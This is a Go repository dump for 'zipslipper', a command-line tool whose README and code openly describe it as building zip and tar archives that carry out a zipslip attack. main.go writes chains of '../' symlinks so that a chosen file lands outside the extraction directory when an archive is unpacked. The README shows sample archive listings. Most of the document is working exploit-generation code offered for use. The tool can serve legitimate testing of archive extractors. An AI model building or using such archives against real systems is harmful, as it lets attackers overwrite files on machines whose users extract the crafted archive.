├── .github └── workflows │ ├── golangci-lint.yml │ └── release.yml ├── .gitignore ├── Makefile ├── README.md ├── go.mod ├── go.sum └── main.go /.github/workflows/golangci-lint.yml: -------------------------------------------------------------------------------- 1 | name: golangci-lint 2 | on: 3 | push: 4 | branches: 5 | - main 6 | pull_request: 7 | 8 | permissions: 9 | contents: read 10 | pull-requests: read 11 | 12 | jobs: 13 | golangci: 14 | name: lint 15 | runs-on: ubuntu-latest 16 | steps: 17 | - uses: actions/checkout@v4 18 | - uses: actions/setup-go@v5 19 | with: 20 | go-version: stable 21 | - name: golangci-lint 22 | uses: golangci/golangci-lint-action@v6 23 | with: 24 | version: v1.60 -------------------------------------------------------------------------------- /.github/workflows/release.yml: -------------------------------------------------------------------------------- 1 | name: goreleaser 2 | 3 | on: 4 | release: 5 | types: [ published ] 6 | 7 | permissions: 8 | contents: write 9 | 10 | jobs: 11 | goreleaser: 12 | runs-on: ubuntu-latest 13 | steps: 14 | - 15 | name: Checkout 16 | uses: actions/checkout@v4 17 | with: 18 | fetch-depth: 0 19 | - 20 | name: Set up Go 21 | uses: actions/setup-go@v5 22 | - 23 | name: Run GoReleaser 24 | uses: goreleaser/goreleaser-action@v6 25 | with: 26 | distribution: goreleaser 27 | # 'latest', 'nightly', or a semver 28 | version: 'latest' 29 | args: release --clean 30 | env: 31 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # If you prefer the allow list template instead of the deny list, see community template: 2 | # https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore 3 | # 4 | # Binaries for programs and plugins 5 | *.exe 6 | *.exe~ 7 | *.dll 8 | *.so 9 | *.dylib 10 | 11 | # Test binary, built with `go test -c` 12 | *.test 13 | 14 | # Output of the go coverage tool, specifically when used with LiteIDE 15 | *.out 16 | 17 | # Dependency directories (remove the comment below to include it) 18 | # vendor/ 19 | 20 | # Go workspace file 21 | go.work 22 | go.work.sum 23 | 24 | # env file 25 | .env 26 | zipslipper 27 | *.tar 28 | *.zip 29 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | default: build 2 | 3 | build: 4 | @go build -o zipslipper . 5 | 6 | 7 | install: build 8 | @mv zipslipper $(GOPATH)/bin/zipslipper 9 | 10 | clean: 11 | @go clean 12 | @rm zipslipper 13 | 14 | test: 15 | go test ./... 16 | 17 | test_coverage: 18 | go test ./... -coverprofile=coverage.out 19 | 20 | test_coverage_view: 21 | go test ./... -coverprofile=coverage.out 22 | go tool cover -html=coverage.out 23 | 24 | test_coverage_html: 25 | go test ./... -coverprofile=coverage.out 26 | go tool cover -html=coverage.out -o=coverage.html 27 | 28 | all: build install -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # zipslipper 2 | golangci-lint 3 | Create tar/zip archives that try to exploit zipslip vulnerability. 4 | 5 | ## Usage 6 | 7 | Basic usage on cli: 8 | 9 | ```shell 10 | % zipslipper -h 11 | Usage: zipslipper [flags] 12 | 13 | A utility to build tar/zip archives that performs a zipslip attack. 14 | 15 | Arguments: 16 | Input file. 17 | Relative extraction path. 18 | Output file. 19 | 20 | Flags: 21 | -h, --help Show context-sensitive help. 22 | -t, --archive-type="zip" Archive type. (tar, zip) 23 | -v, --verbose Verbose logging. 24 | -V, --version Print release version information. 25 | ``` 26 | 27 | ## Usage example 28 | 29 | ### Zip 30 | 31 | ```shell 32 | (main[2]) ~/git/zipslipper% zipslipper go.mod ../../foo/bar/go.mod test.zip 33 | (main[2]) ~/git/zipslipper% unzip -l test.zip 34 | Archive: test.zip 35 | Length Date Time Name 36 | --------- ---------- ----- ---- 37 | 0 09-20-2024 11:01 sub/ 38 | 3 09-20-2024 11:01 sub/root 39 | 3 09-20-2024 11:01 sub/root/outside 40 | 3 09-20-2024 11:01 sub/root/outside/0 41 | 3 09-20-2024 11:01 sub/root/outside/0/1 42 | 0 09-20-2024 11:01 sub/root/outside/0/1/foo/ 43 | 0 09-20-2024 11:01 sub/root/outside/0/1/foo/bar/ 44 | 103 09-20-2024 08:39 sub/root/outside/0/1/foo/bar/go.mod 45 | --------- ------- 46 | 115 8 files 47 | ``` 48 | 49 | ### Tar 50 | 51 | ```shell 52 | (main[2]) ~/git/zipslipper% zipslipper -t tar go.mod ../../foo/bar/go.mod test.tar 53 | (main[2]) ~/git/zipslipper% tar ztvf test.tar 54 | drwxr-xr-x 0 0 0 0 20 Sep 11:01 sub/ 55 | lrwxr-xr-x 0 0 0 0 20 Sep 11:01 sub/root -> ../ 56 | lrwxr-xr-x 0 0 0 0 20 Sep 11:01 sub/root/outside -> ../ 57 | lrwxr-xr-x 0 0 0 0 20 Sep 11:01 sub/root/outside/0 -> ../ 58 | lrwxr-xr-x 0 0 0 0 20 Sep 11:01 sub/root/outside/0/1 -> ../ 59 | drwxr-xr-x 0 0 0 0 20 Sep 11:01 sub/root/outside/0/1/foo/ 60 | drwxr-xr-x 0 0 0 0 20 Sep 11:01 sub/root/outside/0/1/foo/bar/ 61 | -rw-r--r-- 0 jan staff 103 20 Sep 08:39 sub/root/outside/0/1/foo/bar/go.mod 62 | ``` 63 | 64 | ## Install 65 | 66 | You can use this library on the command line with the `zipslipper` command. 67 | 68 | ### Pre-build release 69 | 70 | Download a pre-build release for your system architecture from the [release page](https://github.com/NodyHub/zipslipper/releases). 71 | 72 | ### Build via golang toolchain 73 | 74 | ```cli 75 | go install github.com/NodyHub/zipslipper@latest 76 | ``` 77 | 78 | ### Manual build and installation 79 | 80 | ```cli 81 | git clone git@github.com:NodyHub/zipslipper.git 82 | cd zipslipper 83 | make 84 | make install 85 | ``` 86 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/NodyHub/zipslipper 2 | 3 | go 1.23.1 4 | 5 | require github.com/alecthomas/kong v1.2.1 // indirect 6 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/alecthomas/kong v1.2.1 h1:E8jH4Tsgv6wCRX2nGrdPyHDUCSG83WH2qE4XLACD33Q= 2 | github.com/alecthomas/kong v1.2.1/go.mod h1:rKTSFhbdp3Ryefn8x5MOEprnRFQ7nlmMC01GKhehhBM= 3 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "archive/tar" 5 | "archive/zip" 6 | "fmt" 7 | "io" 8 | "log/slog" 9 | "os" 10 | "path" 11 | "path/filepath" 12 | "strings" 13 | "time" 14 | 15 | "github.com/alecthomas/kong" 16 | ) 17 | 18 | var ( 19 | version = "dev" 20 | commit = "none" 21 | date = "unknown" 22 | ) 23 | 24 | var CLI struct { 25 | InputFile string `arg:"" name:"input" help:"Input file."` 26 | RelativePath string `arg:"" name:"relative-path" help:"Relative extraction path."` 27 | Out string `arg:"" name:"output-file" type:"path" help:"Output file."` 28 | ArchiveType string `short:"t" default:"zip" help:"Archive type. (tar, zip)"` 29 | Verbose bool `short:"v" optional:"" help:"Verbose logging."` 30 | Version kong.VersionFlag `short:"V" optional:"" help:"Print release version information."` 31 | } 32 | 33 | func main() { 34 | 35 | // Parse CLI arguments 36 | kong.Parse(&CLI, 37 | kong.Description("A utility to build tar/zip archives that performs a zipslip attack."), 38 | kong.UsageOnError(), 39 | kong.Vars{ 40 | "version": fmt.Sprintf("%s (%s), commit %s, built at %s", filepath.Base(os.Args[0]), version, commit, date), 41 | }, 42 | ) 43 | 44 | // Check for verbose output 45 | logLevel := slog.LevelError 46 | if CLI.Verbose { 47 | logLevel = slog.LevelDebug 48 | } 49 | 50 | // setup logger 51 | logger := slog.New(slog.NewTextHandler(os.Stderr, &slog.HandlerOptions{ 52 | Level: logLevel, 53 | })) 54 | 55 | // LOG CLI arguments 56 | logger.Debug("CLI arguments", "CLI", CLI) 57 | 58 | switch CLI.ArchiveType { 59 | 60 | case "zip": 61 | if err := createZip(); err != nil { 62 | logger.Error("failed to create zip archive", "error", err) 63 | os.Exit(1) 64 | } 65 | 66 | case "tar": 67 | if err := createTar(); err != nil { 68 | logger.Error("failed to create tar archive", "error", err) 69 | os.Exit(1) 70 | } 71 | 72 | default: 73 | logger.Error("invalid archive type", "type", CLI.ArchiveType) 74 | os.Exit(1) 75 | } 76 | } 77 | 78 | func createZip() error { 79 | 80 | // create a new zip archive 81 | zipfile, err := os.Create(CLI.Out) 82 | if err != nil { 83 | return fmt.Errorf("failed to create zip file: %s", err) 84 | } 85 | defer func() { 86 | if err := zipfile.Close(); err != nil { 87 | panic(fmt.Errorf("failed to close zip file: %s", err)) 88 | } 89 | }() 90 | 91 | // create a new zip writer 92 | zipWriter := zip.NewWriter(zipfile) 93 | defer func() { 94 | if err := zipWriter.Close(); err != nil { 95 | panic(fmt.Errorf("failed to close zip writer: %s", err)) 96 | } 97 | }() 98 | 99 | // create basic zip structure 100 | if err := addFolderToZip(zipWriter, "sub/"); err != nil { 101 | return fmt.Errorf("failed to add folder 'sub/' to zip: %s", err) 102 | } 103 | if err := addSymlinkToZip(zipWriter, "sub/root", "../"); err != nil { 104 | return fmt.Errorf("failed to add symlink 'sub/root --> ../' to zip: %s", err) 105 | } 106 | if err := addSymlinkToZip(zipWriter, "sub/root/outside", "../"); err != nil { 107 | return fmt.Errorf("failed to add symlink 'sub/root/outside --> ../' to zip: %s", err) 108 | } 109 | 110 | // check how many traversals are needed 111 | traversals := countPrefixes(CLI.RelativePath, "../") 112 | basePath := "sub/root/outside" 113 | for i := 0; i < traversals; i++ { 114 | basePath = fmt.Sprintf("%s/%v", basePath, i) 115 | if err := addSymlinkToZip(zipWriter, basePath, "../"); err != nil { 116 | return fmt.Errorf("failed to add symlink '%s --> ../' to zip: %s", basePath, err) 117 | } 118 | } 119 | 120 | // prepare the path for the file 121 | parts := strings.Split(CLI.RelativePath[(3*traversals):], "/") 122 | for _, part := range parts[:len(parts)-1] { 123 | basePath = path.Join(basePath, part) 124 | if err := addFolderToZip(zipWriter, basePath); err != nil { 125 | return fmt.Errorf("failed to add folder '%s' to zip: %s", basePath, err) 126 | } 127 | } 128 | 129 | // add the file to the tar archive 130 | filePath := fmt.Sprintf("%s/%s", basePath, parts[len(parts)-1]) 131 | if err := addFileToZip(zipWriter, CLI.InputFile, filePath); err != nil { 132 | return fmt.Errorf("failed to add file to zip: %s", err) 133 | } 134 | 135 | return nil 136 | } 137 | 138 | func addFolderToZip(zipWriter *zip.Writer, folder string) error { 139 | 140 | // ensure folder nomenclature 141 | if !strings.HasSuffix(folder, "/") { 142 | folder = folder + "/" 143 | } 144 | zipHeader := &zip.FileHeader{ 145 | Name: folder, 146 | Method: zip.Store, 147 | Modified: time.Now(), 148 | } 149 | zipHeader.SetMode(os.ModeDir | 0755) 150 | 151 | if _, err := zipWriter.CreateHeader(zipHeader); err != nil { 152 | return fmt.Errorf("failed to create zip header for directory: %s", err) 153 | } 154 | 155 | return nil 156 | } 157 | 158 | func addFileToZip(zipWriter *zip.Writer, file string, relativePath string) error { 159 | 160 | // open the file 161 | fileReader, err := os.Open(file) 162 | if err != nil { 163 | return fmt.Errorf("failed to open file: %s", err) 164 | } 165 | defer fileReader.Close() 166 | 167 | // stat input 168 | fileInfo, err := fileReader.Stat() 169 | if err != nil { 170 | return fmt.Errorf("failed to stat file: %s", err) 171 | } 172 | 173 | // create a new file header 174 | zipHeader, err := zip.FileInfoHeader(fileInfo) 175 | if err != nil { 176 | return fmt.Errorf("failed to create file header: %s", err) 177 | } 178 | 179 | // set the name of the file 180 | zipHeader.Name = relativePath 181 | 182 | // set the method of compression 183 | zipHeader.Method = zip.Deflate 184 | 185 | // create a new file writer 186 | writer, err := zipWriter.CreateHeader(zipHeader) 187 | if err != nil { 188 | return fmt.Errorf("failed to create zip file header: %s", err) 189 | } 190 | 191 | // write the file to the zip archive 192 | if _, err := io.Copy(writer, fileReader); err != nil { 193 | return fmt.Errorf("failed to write file to zip archive: %s", err) 194 | } 195 | 196 | return nil 197 | } 198 | 199 | func addSymlinkToZip(zipWriter *zip.Writer, symlinkName string, target string) error { 200 | 201 | // create a new file header 202 | zipHeader := &zip.FileHeader{ 203 | Name: symlinkName, 204 | Method: zip.Store, 205 | Modified: time.Now(), 206 | } 207 | zipHeader.SetMode(os.ModeSymlink | 0755) 208 | 209 | // create a new file writer 210 | writer, err := zipWriter.CreateHeader(zipHeader) 211 | if err != nil { 212 | return fmt.Errorf("failed to create zip header for symlink %s: %s", symlinkName, err) 213 | } 214 | 215 | // write the symlink to the zip archive 216 | if _, err := writer.Write([]byte(target)); err != nil { 217 | return fmt.Errorf("failed to write symlink target %s to zip archive: %s", target, err) 218 | } 219 | 220 | return nil 221 | } 222 | 223 | func createTar() error { 224 | 225 | // open the output file 226 | tarfile, err := os.Create(CLI.Out) 227 | if err != nil { 228 | return fmt.Errorf("failed to create tar file: %s", err) 229 | } 230 | defer func() { 231 | if err := tarfile.Close(); err != nil { 232 | panic(fmt.Errorf("failed to close tar file: %s", err)) 233 | } 234 | }() 235 | 236 | // create a new tar writer 237 | tarWriter := tar.NewWriter(tarfile) 238 | defer func() { 239 | if err := tarWriter.Close(); err != nil { 240 | panic(fmt.Errorf("failed to close tar writer: %s", err)) 241 | } 242 | }() 243 | 244 | // create basic tar structure 245 | if err := addFolderToTar(tarWriter, "sub/"); err != nil { 246 | return fmt.Errorf("failed to add folder 'sub/' to tar: %s", err) 247 | } 248 | if err := addSymlinkToTar(tarWriter, "sub/root", "../"); err != nil { 249 | return fmt.Errorf("failed to add symlink 'sub/root --> ../' to tar: %s", err) 250 | } 251 | if err := addSymlinkToTar(tarWriter, "sub/root/outside", "../"); err != nil { 252 | return fmt.Errorf("failed to add symlink 'sub/root/outside --> ../' to tar: %s", err) 253 | } 254 | 255 | // check how many traversals are needed 256 | traversals := countPrefixes(CLI.RelativePath, "../") 257 | basePath := "sub/root/outside" 258 | for i := 0; i < traversals; i++ { 259 | basePath = fmt.Sprintf("%s/%v", basePath, i) 260 | if err := addSymlinkToTar(tarWriter, basePath, "../"); err != nil { 261 | return fmt.Errorf("failed to add symlink '%s --> ../' to tar: %s", basePath, err) 262 | } 263 | } 264 | 265 | // prepare the path for the file 266 | parts := strings.Split(CLI.RelativePath[(3*traversals):], "/") 267 | for _, part := range parts[:len(parts)-1] { 268 | basePath = path.Join(basePath, part) 269 | if err := addFolderToTar(tarWriter, basePath); err != nil { 270 | return fmt.Errorf("failed to add folder '%s' to tar: %s", basePath, err) 271 | } 272 | } 273 | 274 | // add the file to the tar archive 275 | filePath := fmt.Sprintf("%s/%s", basePath, parts[len(parts)-1]) 276 | if err := addFileToTar(tarWriter, CLI.InputFile, filePath); err != nil { 277 | return fmt.Errorf("failed to add file to tar: %s", err) 278 | } 279 | 280 | return nil 281 | } 282 | 283 | func countPrefixes(s, prefix string) int { 284 | count := 0 285 | for strings.HasPrefix(s, prefix) { 286 | count++ 287 | s = strings.TrimPrefix(s, prefix) 288 | } 289 | return count 290 | } 291 | 292 | func addFolderToTar(tarWriter *tar.Writer, folder string) error { 293 | 294 | // ensure folder nomenclature 295 | if !strings.HasSuffix(folder, "/") { 296 | folder = folder + "/" 297 | } 298 | tarHeader := &tar.Header{ 299 | Name: folder, 300 | Mode: 0755, 301 | ModTime: time.Now(), 302 | Typeflag: tar.TypeDir, 303 | } 304 | 305 | if err := tarWriter.WriteHeader(tarHeader); err != nil { 306 | return fmt.Errorf("failed to write tar header for directory: %s", err) 307 | } 308 | 309 | return nil 310 | } 311 | 312 | func addFileToTar(tarWriter *tar.Writer, file string, relativePath string) error { 313 | 314 | // open the file 315 | fileReader, err := os.Open(file) 316 | if err != nil { 317 | return fmt.Errorf("failed to open file: %s", err) 318 | } 319 | defer fileReader.Close() 320 | 321 | // stat input 322 | fileInfo, err := fileReader.Stat() 323 | if err != nil { 324 | return fmt.Errorf("failed to stat file: %s", err) 325 | } 326 | 327 | // create a new file header 328 | tarHeader, err := tar.FileInfoHeader(fileInfo, "") 329 | if err != nil { 330 | return fmt.Errorf("failed to create file header: %s", err) 331 | } 332 | 333 | // set the name of the file 334 | tarHeader.Name = relativePath 335 | 336 | // write the file to the tar archive 337 | if err := tarWriter.WriteHeader(tarHeader); err != nil { 338 | return fmt.Errorf("failed to write file to tar archive: %s", err) 339 | } 340 | if _, err := io.Copy(tarWriter, fileReader); err != nil { 341 | return fmt.Errorf("failed to write file to tar archive: %s", err) 342 | } 343 | 344 | return nil 345 | } 346 | 347 | func addSymlinkToTar(tarWriter *tar.Writer, symlinkName string, target string) error { 348 | 349 | // create a new file header 350 | tarHeader := &tar.Header{ 351 | Name: symlinkName, 352 | Mode: 0755, 353 | ModTime: time.Now(), 354 | Typeflag: tar.TypeSymlink, 355 | Linkname: target, 356 | } 357 | 358 | // write the symlink to the tar archive 359 | if err := tarWriter.WriteHeader(tarHeader); err != nil { 360 | return fmt.Errorf("failed to write symlink to tar archive: %s", err) 361 | } 362 | 363 | return nil 364 | } 365 | --------------------------------------------------------------------------------